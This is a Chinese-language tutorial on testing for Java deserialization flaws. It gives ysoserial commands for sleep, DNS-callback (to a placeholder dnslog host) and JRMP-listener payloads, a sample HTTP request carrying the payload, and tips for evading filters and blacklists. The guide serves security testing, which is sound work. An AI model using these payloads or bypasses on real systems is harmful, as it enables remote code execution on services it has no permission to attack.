Java反序列化测试
- 1. 识别反序列化入口点
- 2. 构造探测Payload
- 3. 发送Payload并观察结果
- 4. 绕过可能的防护
- 5. 自动化工具
- 注意事项
- 总结
Java反序列化测试:
1. 识别反序列化入口点
- 常见入口:
- HTTP请求参数(如POST数据、Cookie、Headers)。
- RMI(远程方法调用)、JMX(Java管理扩展)等Java远程协议。
- 文件上传/下载功能(如序列化对象文件)。
- 自定义二进制协议或API接口。
- 特征识别:
- 序列化数据通常以魔数
AC ED 00 05
(十六进制)开头,Base64编码后为rO0
。 - 检查请求头或参数中是否包含类似
rO0ABQ...
的Base64字符串。
- 序列化数据通常以魔数
2. 构造探测Payload
方法一:触发延迟或异常
- 生成一个导致线程睡眠或抛出异常的Payload,观察响应时间或错误信息:
# 使用ysoserial生成CommonsCollections6的睡眠Payload(休眠10秒) java -jar ysoserial.jar CommonsCollections6 "sleep 10" > payload.bin
- 发送Payload后,若响应延迟显著增加,可能漏洞存在。
方法二:DNS外带探测(推荐)
- 生成触发DNS查询的Payload,验证是否存在反序列化漏洞:
# 使用ysoserial的URLDNS模块(替换your.dnslog.cn) java -jar ysoserial.jar URLDNS "http://your.dnslog.cn" > payload.bin
- 发送Payload后,检查DNSLog平台是否有记录(需提前注册DNSLog服务)。
方法三:JRMP反向探测
- 启动一个JRMP监听服务(如使用
ysoserial.exploit.JRMPListener
):java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 "命令"
- 生成JRMP客户端Payload并发送,若目标反序列化时连接你的JRMP服务,则存在漏洞。
3. 发送Payload并观察结果
- 编码Payload:将生成的二进制Payload转换为Base64或URL编码:
base64 -w0 payload.bin
- 发送请求(示例):
POST /vulnerable-endpoint HTTP/1.1 Content-Type: application/x-java-serialized-object [Base64 Payload]
- 工具辅助:使用Burp Suite、Postman或自定义脚本发送Payload。
4. 绕过可能的防护
- 流量混淆:
- 对Payload进行GZIP压缩或附加额外字节。
- 使用不同编码(如Hex、Unicode)。
- 绕过黑名单:
- 尝试冷门Gadget链(如Beanutils、ROME)。
- 使用无依赖的Gadget(如
java.util.HashSet
)。
5. 自动化工具
- Burp Suite插件:
- Freddy:自动化检测反序列化漏洞。
- Serialization Scanner:扫描入口点并生成Payload。
- 其他工具:
- GadgetProbe:探测目标类路径中的可用Gadget。
- marshalsec:快速启动JRMP/LDAP恶意服务。
注意事项
- 谨慎执行命令:避免使用
Runtime.exec
等危险操作,优先用DNS/HTTP外带验证。 - 环境差异:不同JDK版本和库可能影响Gadget可用性。
总结
关键在于识别入口点并通过外带通信(DNS/HTTP)或延迟特征确认漏洞。结合工具生成Payload和流量分析,可有效提高检测成功率。